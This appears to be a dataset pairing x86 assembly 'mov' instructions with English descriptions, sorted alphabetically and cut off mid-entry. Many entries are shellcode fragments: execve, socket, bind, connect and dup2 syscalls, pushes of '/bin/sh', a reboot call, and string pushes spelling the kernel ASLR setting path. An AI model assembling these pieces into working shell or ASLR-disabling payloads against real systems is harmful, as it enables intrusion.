mov [ebx+7], al move al into ebx+7 mov [ebx+8], ebx move ebx into ebx+8 mov [ecx], 25 move 25 decimal into the memory address ecx mov [ecx+4], eax move eax into the address [ecx+4] mov [edi], al move al into edi mov [edi], al move the contents of the al register into the edi register mov [esi], al move the contents of the al register into the esi register mov [esi+13], al move al into the address [esi+13] mov [esi+22], al move al into the address [esi+22] mov [esi+34], al move al into the address [esi+34] mov [esi+35], esi move esi into the address [esi+35] mov [esi+39], ebx move ebx into the address [esi+39] mov [esi+43], ebx move ebx into the address [esi+43] mov [esi+47], eax move eax into the address [esi+47] mov [esi+eax], cl move the contents of cl into the byte at memory address esi+eax mov [esp + 1], cl move cl into the address [esp + 1] mov [esp+4], esp move esp into the address [esp+4] mov [esp+57], al move al into the address [esp+57] mov [esp+58], ah move ah into the address [esp+58] mov [esp+59], ebx move ebx into the address [esp+59] mov [var], ebx move the contents of ebx into the 4 bytes at memory address var mov [var1], eax move the contents of eax into the 4 bytes at memory address var1 mov a_letter, al move al into memory address a_letter mov ah, 0x80 move 0x80 into ah mov al, [byte_tbl+2] move the effective address of byte_tbl+2 to al register mov al, [esi] move the contents of the esi register into the al register mov al, 03h move 03h into al mov al, 04h move 04h into al mov al, 05h move 05h into al mov al, 0x01 move 0x01 into al mov al, 0x01 move 0x1 into lower byte of the eax register mov al, 0x04 move 0x04 into al mov al, 0x05 put the syscall 0x5 into the al register mov al, 0x06 move 0x06 into al mov al, 0x0a move 0x0a into al mov al, 0x0b move 0x0b into al mov al, 0x1 move 0x1 into lower byte of the eax register mov al, 0x1 move the value 0x1 into the al register mov al, 0x17 move 0x17 into al mov al, 0x1f move 0x1f into al mov al, 0x2 put the syscall 0x2 into the al register mov al, 0x21 move 0x21 into al mov al, 0x2e move 0x2e into al mov al, 0x3 move 0x3 into al mov al, 0x30 move 0x30 into al mov al, 0x33 move 0x33 into al mov al, 0x3f move 0x3f into al mov al, 0x3f syscall 63 mov al, 0x4 move 0x4 into al mov al, 0x4 move the value 0x4 into the al register mov al, 0x42 move 0x42 into al mov al, 0x46 move 0x46 into al mov al, 0x5 move 0x5 into al mov al, 0x5 move the value 0x5 into the al register mov al, 0x58 load the syscall value 0x58 for reboot in the al register mov al, 0x6 move 0x6 into al mov al, 0x66 make the socketcall mov al, 0x66 make the systemcall socketcall mov al, 0x66 move 0x66 into al mov al, 0x66 syscall 102 mov al, 0x66 system call socketcall mov al, 0x7 move 0x7 into al mov al, 0x8 put the syscall 0x8 into the al register mov al, 0xa2 move 0xa2 into al mov al, 0xb execve system call number 11 mov al, 0xb mov 0xb into lower byte of eax mov al, 0xb move 0xb into al mov al, 0xb5 move 0xb5 into al mov al, 0xcd move 0xcd into al mov al, 0xf move 0xf into al mov al, 1 move 1 into al mov al, 1 move the value 1 into the al register mov al, 10 transfer the value 10 to the al register mov al, 102 move 102 into al mov al, 11 move the value 11 into the al register mov al, 11 put the syscall 11 into the al register mov al, 12 move 12 into al mov al, 15 move 15 into lower byte of the eax register mov al, 16 move 16 into al mov al, 2 move 2 into al mov al, 20 move 20 into al mov al, 23 move 23 into al mov al, 37 move 37 into al mov al, 39 move 39 into al mov al, 4 move 4 into al mov al, 4 store 4 into al mov al, 5 move 5 into al mov al, 5 \n dec al \n jnz l2 move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero mov al, 54 move 54 into al mov al, 6 move 6 into al mov al, 61 move 61 into al mov al, 63 save 63 into al mov al, 66h move 66h into al mov al, 70 move 70 into al mov al, 72h move 72h into al mov al, 99 move 99 into al mov al, a_letter move data at memory location a_letter into al mov al, byte [digits+eax] move the effective address of digits+eax into al mov al, byte [edi] move the byte in edi into the al register mov al, byte [edx+ecx] move the effective address edx+ecx into al mov al, byte [esi] move the byte at the address [esi] into al mov al, byte [esi] move the byte in esi into al mov al, byte [esi+1+ebp] move the byte at the memory location specified by the operation [esi+1+ebp] into al mov al, byte [esi+ecx] move a byte from the address esi+ecx into al mov al, byte 0bh move the byte 0bh into al mov al, byte 0bh move the byte at the address 0bh into al mov al, byte 0x1 move the byte at the address 0x1 into al mov al, byte 2ah move the byte 2ah into al mov al, byte 2ah move the byte at the address 2ah into al mov al, byte 2h move the byte 2h into al mov al, byte 2h move the byte at the address 2h into al mov al, byte 3fh move the byte 3fh into al mov al, byte 3fh move the byte at the address 3fh into al mov al, byte 3h move the byte 3h into al mov al, byte 3h move the byte at the address 3h into al mov al, byte 66h move the byte 66h into al mov al, byte 66h move the byte at the address 66h into al mov al, byte 6h move the byte 6h into al mov al, byte 6h move the byte at the address 6h into al mov al, byte[buff+ecx] move a byte from the address buff+ecx into al mov al, cl move cl into al mov al, close_syscall move close_syscall into al mov al, dl move dl into al mov al, exit_call move exit_call into al mov al, write_syscall move write_syscall into al mov ax, [1000h] load the object at the address 1000h into the ax register mov ax, [di] copy thevalue at memory address specified by di into ax mov ax, [esi] move esi into ex mov ax, [esi] move the contents of the esi register into the ax register mov ax, [my_var] copy my_var contents in ax mov ax, 00 initialize ax to 00 mov ax, 010ch move value of 0x010ch into the register ax mov ax, 0x167 move 0x167 into ax mov ax, 0x169 move 0x169 into ax mov ax, 0x16a move 0x16a into ax mov ax, 0x16b move 0x16b into ax mov ax, 0x16c move 0x16c into ax mov ax, 1 move value of 1 into register ax mov ax, 102 move 102 into ax mov ax, 1666 move 1666 into ax mov ax, 45h transfer the immediate constant 45h to ax mov ax, 8h move 8h into ax mov ax, 9 get 9 in the ax mov ax, bx move bx into ax mov ax, bx move the contents of bx into ax mov ax, table[esi*4] move the memory offset table+esi*4 into ax mov bh, 0x12 move 0x12 into bh mov bh, 0xe2 move 0xe2 into bh mov bl, [esi+ecx] move the contents of memory address esi+ecx into bl mov bl, 0bh move 0bh into bl mov bl, 0x01 move 0x01 into bl mov bl, 0x02 move 0x02 into bl mov bl, 0x04 move 0x04 into bl mov bl, 0x1 move 0x1 into bl mov bl, 0x1 move the value 0x1 into the bl register mov bl, 0x14 move 0x14 into bl mov bl, 0x2 move 0x2 into bl mov bl, 0x2 move the value 0x2 into the bl register mov bl, 0x3 move 0x3 into bl mov bl, 0x4 move 0x4 into bl mov bl, 0x4 move the value 0x4 onto the stack mov bl, 0x5 move 0x5 into bl mov bl, 0x5 move the value 0x5 into the bl register mov bl, 0x7 move 0x7 into bl mov bl, 0x8 move 0x8 into bl mov bl, 0x9 move 0x9 into bl mov bl, 0xe move 0xe into bl mov bl, 0xff move 0xff into bl mov bl, 1 move 1 into bl mov bl, 10 move 10 into bl mov bl, 2 move 2 into bl mov bl, 3 move 3 into bl mov bl, 3 \n dec bl \n jnz l3 move the value 3 into the bl register then decrement the contents of the bl register and jump to the l3 label if the result is not zero mov bl, 4 move 4 into bl mov bl, 5 store 5 into bl mov bl, al \n sub bl, 2 \n jnz loop move the contents of the al register into the contents of the bl register then subtract the value 2 from the cl register and jump to the loop label if the result is not zero mov bl, byte [digits+ebx] move the byte at address digits+ebx into bl mov bl, byte [eax] move the byte at the address [eax] into bl mov bl, byte [eax] move the byte in eax into bl mov bl, byte [edi] move the byte at the address [edi] into bl mov bl, byte [edi] move the byte in edi into bl mov bl, byte [esi + eax + 1] move the byte starting at the address [esi + eax + 1] into the bl register mov bl, byte [esi] move the byte at the address [esi] into bl mov bl, byte [esi] move the byte in esi into bl mov bl, byte [esi+ecx+1] move the byte at the address [esi+ecx+1] into bl mov bl, byte [esi+ecx+1] move the byte in esi+ecx+1 into bl mov bl, byte 0eh move the byte 0eh into bl mov bl, byte 0eh move the byte at the address 0eh into bl mov bl, cl move cl into bl mov bl, dl move dl into bl mov bx, [esi] move the contents of the esi register into the bx register mov bx, 1666 move 1666 into bx mov bx, 18 get 18 in the bx register mov bx, 20 move the value 20 into bx mov bx, word_value move memory word_value to register bx mov byte [eax], dl move dl into the byte at address [eax] mov byte [eax], dl move dl into the byte in eax mov byte [ebx + 35], al move al into the byte at address [ebx + 35] mov byte [ebx], 2 move 2 into the single byte at the address stored in ebx mov byte [ecx], 2 move 2 into the single byte at memory location ecx mov byte [ecx+92], dl move dl into the byte at address [ecx+92] mov byte [ecx+92], dl move dl into the single byte at the address stored in ecx+92 mov byte [edi], bl move bl into the byte in edi mov byte [edi], bl move the the contents of the bl register into the byte starting at the address in edi mov byte [edx + eax], bl move bl into the byte at address [edx + eax] mov byte [edx+eax], bl move bl into byte edx+eax mov byte [edx+ecx],al move al into the single byte at the address stored in edx+ecx mov byte [esi + 1], dl move dl into the byte at address [esi + 1] mov byte [esi + 1], dl move the contents of dl into the byte at the memory location specified by the operation [esi+1] mov byte [esi], al move al into the byte in esi mov byte [esi], bl move bl into the byte at address [esi] mov byte [esi], dl move dl into the byte in esi mov byte [esi+10], al move al into the byte at address [esi+10] mov byte [esi+11], al move al into the byte at address [esi+11] mov byte [esi+12], al move al into the byte at address [esi+12] mov byte [esi+14], al move al into the byte at address [esi+14] mov byte [esi+14],al move the contents of al into the byte at the memory location specified by the operation [esi+14] mov byte [esi+17], al move al into the byte at address [esi+17] mov byte [esi+17],al move the contents of al into the byte at the memory location specified by the operation [esi+17] mov byte [esi+21], al move al into the byte at address [esi+21] mov byte [esi+7], al move al into the byte at address [esi+7] mov byte [esi+ecx], bl move bl into the byte at address [esi+ecx] mov byte [esi+ecx], bl move bl into the single byte at the address stored in esi+ecx mov byte [esp], 0x0a move 0x0a into the byte at address [esp] mov byte [esp], 0x2e move 0x2e into the byte at address [esp] mov byte [esp], 0x2e move 0x2e into the byte in esp mov byte [esp], 0x2f move 0x2f into the byte at address [esp] mov byte [esp], 0x2f move 0x2f into the byte in esp mov byte [esp], 0x7f move 0x7f into the byte at address [esp] mov byte [esp+2], 0x07 move 0x07 into the byte at address [esp+2] mov byte [esp+3], 0x01 move 0x01 into the byte at address [esp+3] mov byte [esp+3], 0x11 move 0x11 into the byte at address [esp+3] mov byte [hexstr+edx+1],bl move a byte from bl into memory address hexstr+edx+1 mov byte [hexstr+edx+2],al move a byte from al into memory address hexstr+edx+2 mov byte [var], 5 store the value 5 into the byte at memory location var mov byte al, 0x0b move 0x0b into the byte at address al mov byte al, 0x3f move 0x3f into the byte at address al mov byte al, 0x3f move 0x3f into the byte in al mov byte al, 0xa4 move 0xa4 into the byte at address al mov byte al, 0xa4 move 0xa4 into the byte in al mov byte al, 11 move 11 into the byte at address al mov byte al, 83 move 83 into the byte at address al mov byte cl, 7 move 7 into the byte at address cl mov ch, 0x4 move 0x4 into ch mov cl, 0102 move 0102 into cl mov cl, 077o move 077o into cl mov cl, 0x1 move 0x1 into cl mov cl, 0x1e move 0x1e into cl mov cl, 0x2 move 0x2 into cl mov cl, 0x2 move the value 0x2 into the cl register mov cl, 0x3 move 0x3 into cl mov cl, 10 \n dec cl \n jnz l1 move the value 10 into the cl register then decrement the contents of the cl register and jump to the l1 label if the result is not zero mov cl, 100 move 100 into cl mov cl, 128 move 128 into cl mov cl, 13 move 13 into cl mov cl, 2 move 2 into cl mov cl, 21 move 21 into cl mov cl, 3 move 3 into cl mov cl, 30 move 30 into cl mov cl, 30 move 30 to the cl register mov cl, 32 move 32 into cl mov cl, 9 move 9 into cl mov cl, al move al into cl mov cl, bl \n sub cl, 1 \n jnz loop move the contents of the bl register into the contents of the cl register then subtract the value 1 from the cl register and jump to the loop label if the result is not zero mov cl, byte [eax] move the byte at the address [eax] into cl mov cl, byte [eax] move the byte in eax into cl mov cl, byte [esi] move the byte at the address [esi] into cl mov cl, byte [esi] move the byte in esi into cl mov cl, byte_table[2] move the 3rd element of the array byte_table into cl mov cl, byte_table+2 move the 3rd element of the byte_table into cl mov cl, len move len into cl mov cl, shellcode_length move shellcode_length into cl mov cl, shellcodelen move shellcodelen into cl mov count, bx move bx to count mov cx, [esi] move the contents of the esi register into the cx register mov cx, 01 initialize cx to 01 mov cx, 02001 move 02001 into cx mov cx, 0666 move 0666 into cx mov cx, 0700 move 0700 into cx mov cx, 0x191 move 0x191 into cx mov cx, 0x1ff move 0x1ff into cx mov cx, 0x2bc move 0x2bc into cx mov cx, 0x301 move the value 0x301 into the cx register mov cx, 0x3b30 mov the value 0x3b30 into the cx register mov cx, 0x401 move 0x401 into cx mov cx, 0x5309 move 0x5309 into cx mov cx, 0x9ed move 0x9ed into cx mov cx, 0xfff move 0xfff into cx mov cx, 2001 move 2001 into cx mov cx, 2001Q move 2001Q into cx mov cx, word_table + 3 move the 4th element of the word_table into cx mov cx, word_table[3] move the 4th element of the array word_table into cx mov dh, 0x35 move 0x35 into dh mov dh, 0xff move 0xff into dh mov dl, 0x01 move 0x01 into dl mov dl, 0x02 move 0x02 into dl mov dl, 0x09 move 0x09 into dl mov dl, 0x1 move 0x1 into dl mov dl, 0x10 move 0x10 into dl mov dl, 0x1c move 0x1c into dl mov dl, 0x2 move 0x2 into dl mov dl, 0x20 move 0x20 into dl mov dl, 0x7f move 0x7f into dl mov dl, 0xc move 0xc into dl mov dl, 0xd move 0xd into dl mov dl, 0xff move 0xff into dl mov dl, 1+0feh move 1+0feh into dl mov dl, 93 move 93 into dl mov dl, byte [eax + 1] move the byte at the address [eax + 1] into dl mov dl, byte [eax + 1] move the byte at the memory location specified by the operation [eax+1] into dl mov dl, byte [eax] move the byte at the address [eax] into dl mov dl, byte [eax] move the byte in eax into dl mov dl, byte [esi + 1] move the byte at the address [esi + 1] into dl mov dl, byte [esi + 1] move the singl byte at the memory location speicified by the operation [esi+1] into dl mov dl, byte [esi] move the single byte in esi into dl mov dl, byte 0ffh move the byte 0ffh into dl mov dl, byte 0ffh move the byte at the address 0ffh into dl mov dl, len move the contents stored at the address len into the dl register mov dl,0x14 move 0x14 into dl mov dword [eax], var1 copy the value in var1 into the doubleword starting at the address in eax mov dword [ebx], 2 move the 32-bit integer representation of 2 into the doubleword starting at the address in ebx mov dword [ebx], 4 move the 32-bit integer representation of 4 into the doubleword starting at address ebx mov dword [esi + 12], eax move eax into the dword at address [esi + 12] mov dword [esi + 8], ebx move ebx into the dword at address [esi + 8] mov dword [esp-0x10], 0x5f657a69 move the value 0x5f657a69 into the double word starting at the address [esp-0x10] mov dword [esp-0x14], 0x6d6f646e move the value 0x6d6f646e into the double word starting at the address [esp-0x14] mov dword [esp-0x18], 0x61722f6c move the value 0x61722f6c into the double word starting at the address [esp-0x18] mov dword [esp-0x1c], 0x656e7265 move the value 0x656e7265 into the double word starting at the address [esp-0x1c] mov dword [esp-0x20], 0x6b2f7379 move the value 0x6b2f7379 into the double word starting at the address [esp-0x20] mov dword [esp-0x24], 0x732f636f move the value 0x732f636f into the double word starting at the address [esp-0x24] mov dword [esp-0x28], 0x72702f2f move the value 0x72702f2f into the double word starting at the address [esp-0x28] mov dword [esp-0x4], eax move the contents of the eax into the double word starting at the address [esp-0x4] mov dword [esp-0x8], 0x65636170 move the value 0x65636170 into the double word starting at the address [esp-0x8] mov dword [esp-0xc], 0x735f6176 move the value 0x735f6176 into the double word starting at the address [esp-0xc] mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at address [esp-12] mov dword [esp-12], 0x6374652f move 0x6374652f into the dword at the memory location [esp-12] mov dword [esp-4], ecx move ecx into the doubleword starting at the address esp-4 mov dword [esp-4], esi move esi into the doubleword starting at the address esp-4 mov dword [esp-4], esi move esi into the dword at address [esp-4] mov dword [esp-4], esi move the contents of the esi register into the dword at the memory location [esp-4] mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at address [esp-8] mov dword [esp-8], 0x68732f2f move 0x68732f2f into the dword at the memory location [esp-8] mov dword [esp-8], edi move edi into the doubleword starting at the address esp-8 mov dx, 0x1a4 move 0x1a4 into dx mov dx, 0x2a1 move the value 0x2a1 into the dx register mov dx, 0xb01 move 0xb01 into dx mov dx, 1222 move 1222 into dx mov dx, 132 move 132 into dx mov dx, 16666 move 16666 into dx mov eax, _start move _start into eax mov eax, [ebp+8] move value of memory address [ebp+8] into eax mov eax, [ebx] move the 4 bytes in memory at the address contained in ebx into eax mov eax, [ebx+8] copy the 4 byte at memory location specified by the the result of the operation ebx+8 into eax register mov eax, [ebx+epi*4+2] move the contents of memory address ebx+epi*4+2 into eax mov eax, [ebx+esi] move the contents of memory address ebx+esi into eax mov eax, [ebx+esi*2+4] move the contents of memory address ebx+esi*2+4 into eax mov eax, [esi-4] move 4 bytes at memory address esi-4 into eax mov eax, [esp] move the contents of memory address esp into eax mov eax, [esp+4] move the value of register at address esp+4 and store into eax mov eax, [temp] move the contents at memory specified by temp into eax mov eax, [temp1] move the contents at memory address temp1 to eax mov eax, [x] move the contents at memory specified by x to eax mov eax, [y] move the contents at memory address y to eax mov eax, [y] move the contents at memory specified by y to eax mov eax, [z] move the contents at memory specified by z to eax mov eax, 0ah move 0ah into eax mov eax, 0ah move an ascii linefeed character into eax mov eax, 0ah move linefeed character into eax mov eax, 0x2e323931 move 0x2e323931 into eax mov eax, 0x2e383631 move 0x2e383631 into eax mov eax, 0x2f3e20 move 0x2f3e20 into eax mov eax, 0x2f766564 move 0x2f766564 into eax mov eax, 0x31263e32 move 0x31263e32 into eax mov eax, 0x33392e31 move 0x33392e31 into eax mov eax, 0x3f move 0x3f into eax mov eax, 0x5 move 5 into eax mov eax, 0x50905090 move 0x50905090 into eax mov eax, 0x563ed8b7 move 0x563ed8b7 into eax mov eax, 0x66 move 0x66 into eax mov eax, 0x6c6c756e move 0x6c6c756e into eax mov eax, 0x782f2f move 0x782f2f into eax mov eax, 0x8000 move the 32-bit value 0x8000 into register eax mov eax, 0x8b90909d move 0x8b90909d into eax mov eax, 0x969d8cd0 move 0x969d8cd0 into eax mov eax, 0x9a8dd091 move 0x9a8dd091 into eax mov eax, 0xb33fb33f move 0xb33fb33f into eax mov eax, 0xdeadc0de move 0xdeadc0de into eax mov eax, 0xfeffff80 move 0xfeffff80 into eax mov eax, 0xffffffff move 0xffffffff into eax mov eax, 1 code for exit syscall mov eax, 1 exit mov eax, 1 invoke sys_exit mov eax, 1 make the system call exit mov eax, 1 make the system call for exit mov eax, 1 make the system call to terminate the process mov eax, 1 move 1 into eax mov eax, 1 move the value one into eax mov eax, 1 specify exit syscall mov eax, 1 system call exit mov eax, 1 terminate the process mov eax, 10 invoke sys_unlink mov eax, 10 move 10 into eax mov eax, 10000h move 10000h into eax register mov eax, 102 invoke sys_socketcall mov eax, 106 get information about the file mov eax, 106 make the system call stat mov eax, 106 make the system call to get information about the file mov eax, 106 stat mov eax, 106 system call stat mov eax, 11 execve mov eax, 11 invoke sys_execve mov eax, 11 load and run the program mov eax, 11 make the system call execve mov eax, 11 make the system to load and run the program mov eax, 11 system call execve mov eax, 13 invoke sys_time mov eax, 132 move 132 to eax 132 mov eax, 19 go to file offset mov eax, 19 invoke sys_lseek mov eax, 19 lseek mov eax, 19 make the system call lseek mov eax, 19 make the system call to go to the file offset mov eax, 19 system call lseek mov eax, 2 create a new process mov eax, 2 fork mov eax, 2 invoke sys_fork mov eax, 2 make the system call fork mov eax, 2 make the system call to create a new process mov eax, 2 move the value two into eax mov eax, 2 system call fork mov eax, 20 get the process ID mov eax, 20 getpid mov eax, 20 make the system call getpid mov eax, 20 make the system call to get the process ID mov eax, 20 system call getpid mov eax, 21 get 21 in the eax register mov eax, 27 alarm mov eax, 27 make the system call alarm mov eax, 27 make the system call to set set signal delivery alarm clock mov eax, 27 set signal delivery alarm clock mov eax, 27 system call alarm mov eax, 29 make the system call pause mov eax, 29 make the system call to suspend the process mov eax, 29 pause mov eax, 29 suspend the process until the signal arrives mov eax, 29 system call pause mov eax, 3 invoke sys_read mov eax, 3 make the system call read mov eax, 3 make the system call to read the file mov eax, 3 move 3 to the eax register mov eax, 3 read mov eax, 3 read the file mov eax, 3 specify sys_read call mov eax, 3 system call read mov eax, 37 kill mov eax, 37 make the system call kill mov eax, 37 make the system call to send the signal to another process mov eax, 37 send signal to another process mov eax, 37 system call kill mov eax, 4 invoke sys_write mov eax, 4 make the system call for write mov eax, 4 make the system call to write to the file mov eax, 4 make the system call write mov eax, 4 move 4 into eax mov eax, 4 move 4 to the eax register mov eax, 4 specify sys_write call mov eax, 4 specify sys_write syscall mov eax, 4 system call write mov eax, 4 write mov eax, 4 write to the file mov eax, 48 install signal handel mov eax, 48 make the system call signal mov eax, 48 make the system call to install the signal handler mov eax, 48 signal mov eax, 48 system call signal mov eax, 5 invoke sys_open mov eax, 5 make the system call open mov eax, 5 make the system call to open the file mov eax, 5 open mov eax, 5 open the file mov eax, 5 system call open mov eax, 6 close mov eax, 6 close the file mov eax, 6 invoke sys_close mov eax, 6 make the system call close mov eax, 6 make the system call to close the file mov eax, 6 system call close mov eax, 63 copy file descriptor mov eax, 63 dup2 mov eax, 63 make the system call dup2 mov eax, 63 make the system call to copy the file descriptor mov eax, 63 system call dup2 mov eax, 64 get the parent process ID mov eax, 64 getppid mov eax, 64 make the system call getppid mov eax, 64 make the system call to get the parent process ID mov eax, 64 system call getppid mov eax, 65 get process group mov eax, 65 getpgrp mov eax, 65 make the system call getpgrp mov eax, 65 make the system call to get the process group mov eax, 65 system call getpgrp mov eax, 67 install portable signal handler mov eax, 67 make the system call sigaction mov eax, 67 make the system call to install portable signal handler mov eax, 67 sigaction mov eax, 67 system call sigaction mov eax, 7 make the system call to wait for child for terminate mov eax, 7 make the system call waitpid mov eax, 7 system call waitpid mov eax, 7 wait for child to terminate mov eax, 7 waitpid mov eax, 8 invoke sys_creat mov eax, 90 make the system call mmap mov eax, 90 make the system call to map the memory page to a file mov eax, 90 map the memory page to a file mov eax, 90 mmap mov eax, 90 move decimal number 90 into eax mov eax, 90 system call mmap mov eax, addr move addr into eax mov eax, array[esi*4] move the contents of memory address array+esi*4 into eax mov eax, b move b to eax mov eax, buff move buff to eax mov eax, buffer move the memory address of buffer variable into eax mov eax, buzz move the address of buzz string into eax mov eax, c move c to eax mov eax, childmsg move childmsg into eax mov eax, ebx copy the contents of ebx into eax register mov eax, ebx copy what is in ebx into eax mov eax, ebx move ebx to eax mov eax, ebx move the address in ebx into eax mov eax, ebx transfer ebx to eax mov eax, ecx move the value in ecx into eax mov eax, ecx move the value of ecx into eax mov eax, edi move edi into eax mov eax, edx move edx into eax mov eax, edx move the remainder into eax mov eax, esi move esi into eax mov eax, esp move stack pointer to eax mov eax, esp move the address of the current stack pointer into eax mov eax, filecontents move the memory address of filecontents variable into eax mov eax, fizz move the address of fizz string into eax mov eax, key move key into eax mov eax, m_src move m_src to eax mov eax, msg move the address of msg string into eax mov eax, msg1 move msg1 string into eax mov eax, msg1 move the address of msg1 into eax mov eax, msg2 move the address of msg2 into eax mov eax, msg3 move the address of msg3 into eax mov eax, mxcsr move mxcsr to eax mov eax, n_src move n_src to eax mov eax, parentmsg move parentmsg into eax mov eax, response move address of response variable into eax mov eax, type var4 move the number of bytes of var4 into eax mov ebp, buff place address of buffer into ebp mov ebp, eax move eax to ebp mov ebp, ecx move ecx into ebp mov ebp, esp move esp into ebp mov ebp, esp point ebp to the esp register mov ebp, esp point ebp to top of stack mov ebp, esp set the new base pointer mov ebx, [ebp-4] move the contents at the memory location specified by the result of the operation [ebp-4] into the ebx register mov ebx, [ebp-4] move the contents of the address [ebp-4] into the ebx register mov ebx, [ebp-8] move the contents at the memory location specified by the result of the operation [ebp-8] into the ebx register mov ebx, [ebp-8] move the contents of the address [ebp-8] into the ebx register mov ebx, [ebx+esi] move the contents of memory address ebx+esi into ebx mov ebx, [esp] move value at top of the stack to ebx mov ebx, [my_table] move effective address of my_table in ebx mov ebx, [my_table] save the effective address of my_table in ebx mov ebx, [temp2] move the contents at memory address temp2 to ebx mov ebx, [x] move the contents at memory address x to ebx mov ebx, [y] move the contents at memory address y to ebx mov ebx, 0 exit with return code of 0 mov ebx, 0 return 0 status on exit mov ebx, 0 return a code of zero mov ebx, 0 specify file descriptor 0 as standard input mov ebx, 0 use stdin mov ebx, 0 write to the stdin file mov ebx, 0x1 move 0x1 into ebx mov ebx, 0x2 move 0x2 into ebx mov ebx, 0x4 move 0x4 into ebx mov ebx, 0x40000 move the 32-bit value 0x40000 into register ebx mov ebx, 0x5 move 0x5 into ebx mov ebx, 0xfee1dead move the value 0xfee1dead into the ebx register mov ebx, 1 file descriptor 1 standard output mov ebx, 1 invoke subroutine socket mov ebx, 1 move 1 into ebx mov ebx, 1 specify file descriptor 1 standard output mov ebx, 1 use stdout mov ebx, 1 write to the stdout file mov ebx, 10 move decimal value 10 into ebx mov ebx, 2 invoke subroutine bind mov ebx, 2 specify file descriptor 2 standard error mov ebx, 3 invoke subroutine connect mov ebx, 3 move 3 to the ebx register mov ebx, 3 move decimal number 3 into ebx mov ebx, 4 invoke subroutine listen mov ebx, 5 invoke subroutine accept mov ebx, 5 move 5 into ebx mov ebx, 9 move number 9 into ebx mov ebx, buff move buff to ebx mov ebx, command move command into ebx mov ebx, dword 0x5090508f move dword 0x5090508f into ebx mov ebx, dword 0x50905091 move dword 0x50905091 into ebx mov ebx, eax move eax into ebx mov ebx, eax move the address in eax into ebx mov ebx, eax move the contents of the eax register into the ebx register mov ebx, ecx move ecx into ebx mov ebx, edi move edi into ebx mov ebx, edx move edx into ebx mov ebx, esi move esi into ebx mov ebx, esp move address of stack pointer into ebx mov ebx, esp move esp into ebx mov ebx, esp move the address of the character on the stack into ebx mov ebx, esp move the contents of the esp register into the ebx register mov ebx, esp point ebx to stack mov ebx, esp push /bin/sh into ebx mov ebx, filename move filename into ebx mov ebx, m_src1 move m_src1 to ebx mov ebx, m_src2 move m_src2 to ebx mov ebx, msg move the address of msg string into ebx mov ebx, n move n to ebx mov ebx, name move name into ebx mov ebx, request move address of request variable into ebx mov ebx, sock_reg move sock_reg into ebx mov ebx, type var3 move the number of bytes of var3 into ebx mov ebx, upcase move the value of upcase into ebx mov ebx, x move the contents of x into ebx mov ebx, zero_reg move zero_reg into ebx mov ecx, [ebp+12] move the contents at the memory location specified by the result of the operation [ebp+12] into the ecx register mov ecx, [ebp+12] move the contents of the address [ebp+12] into ecx mov ecx, [esi+4*eax] move the 4 bytes of data at address esi+4*eax into ecx mov ecx, [esp] move the contents of esp into ecx mov ecx, [esp] move the contents of the esp register into the ecx register mov ecx, [my_table] move effective address of my_table in ecx mov ecx, [temp3] move the contents at memory address temp3 to ecx mov ecx, [x] move the contents at memory address x to ecx mov ecx, 0777 move permissions to read write and execute into ecx mov ecx, 0x0 move 0x0 into ecx mov ecx, 0x1 move 0x1 into ecx mov ecx, 0x88998899 move 0x88998899 into ecx mov ecx, 1 move 1 into ecx mov ecx, 36 get 36 in the ecx mov ecx, 4294948047 move 4294948047 into ecx mov ecx, 672274793 move the value 672274793 into the ecx register mov ecx, arguments move the address of the arguments into ecx mov ecx, array move the first element of array into ecx mov ecx, array2 move the first element in array2 into ecx mov ecx, b move b to ecx mov ecx, buff move buff to ecx mov ecx, buffer move the memory address of buffer variable into ecx mov ecx, contents move the memory address of contents string into ecx mov ecx, contents move the memory address of contents variable into ecx mov ecx, donemsg move donemsg into ecx mov ecx, eatmsg move eatmsg into ecx mov ecx, eax move eax into ecx mov ecx, ebp move ebp into ecx mov ecx, edi move edi into ecx mov ecx, edx move edx into ecx mov ecx, edx move the contents of the edx register into the ecx register mov ecx, esi move esi into ecx mov ecx, esp ecx point to the top of the stack mov ecx, esp move address of arguments into ecx mov ecx, esp move address of stack pointer into ecx mov ecx, esp move esp into ecx mov ecx, esp move the address of the stack pointer into ecx mov ecx, esp move the contents of esp into ecx mov ecx, esp move the contents of the esp register into the ecx register mov ecx, esp point ecx to the top of the stack mov ecx, esp save the memory location of arg[0] into the ecx register mov ecx, filecontents move the memory address of our file contents variable into ecx mov ecx, hello put the offset of hello in ecx mov ecx, hexstr move hexstr into ecx mov ecx, m_src3 move m_src3 to ecx mov ecx, msg move msg to ecx mov ecx, msg move the address of message string into ecx mov ecx, msg move the memory address of message string into ecx mov ecx, offset array move starting address of array to ecx mov ecx, readbuffer move readbuffer into ecx mov ecx, request move address of request variable into ecx mov ecx, response move address of response variable into ecx mov ecx, rm move rm to ecx mov ecx, rn move rn to ecx mov ecx, type var2 move the number of bytes of var2 into ecx mov ecx, y move the contents of y into ecx mov edi, [ebp+16] move value the contents of memory address ebp+16 into edi mov edi, 0x343997b7 move 0x343997b7 into edi mov edi, 0x3734b117 move 0x3734b117 into edi mov edi, 0x978cd092 move 0x978cd092 into edi mov edi, 0x978cd0d0 move 0x978cd0d0 into edi mov edi, 0xada67373 move 0xada67373 into edi mov edi, 876189623 move 876189623 into edi mov edi, 884021143 move 884021143 into edi mov edi, eax move eax into edi mov edi, eax move the return value of sys_socketcall into edi mov edi, ecx move ecx into edi mov edi, ecx move ecx to edi mov edi, edx move edx into edi mov edi, edx move the remainder into edi mov edi, esi move esi into edi mov edi, esp move esp into edi mov edi, hexstr place hexstr into edi mov edx, [esi+4*ebx] move the 4 bytes of data at address esi+4*ebx into edx mov edx, [esp] move the contents of the esp register into the edx register mov edx, [temp4] move the contents at memory address temp4 to edx mov edx, [z] move the contents at memory address z to edx mov edx, 0x1234567 move the value 0x1234567 into the edx register mov edx, 1 move 1 into edx mov edx, 11 move integer 11 to edx mov edx, 12 move 12 to edx mov edx, 13 move 13 into edx mov edx, 2 move decimal 2 into edx mov edx, 255 move decimal number 255 into edx mov edx, 3 move 3 decimal into edx mov edx, 43 move 43 decimal into edx mov edx, 43 move decimal 43 into edx mov edx, 66729180 move 66729180 into edx mov edx, 78 move decimal 78 into edx mov edx, 78 store 78 decimal into edx mov edx, 8 move 8 decimal into edx mov edx, 8 put 8 into edx mov edx, 9 move number 9 into edx mov edx, buff move buff to edx mov edx, bufflen move bufflen into edx mov edx, donelen move donelen into edx mov edx, dword 0x65676760 move dword 0x65676760 into edx mov edx, dword 0x65676760 move the doubleword 0x65676760 into edx mov edx, eatlen move eatlen into edx mov edx, eax move 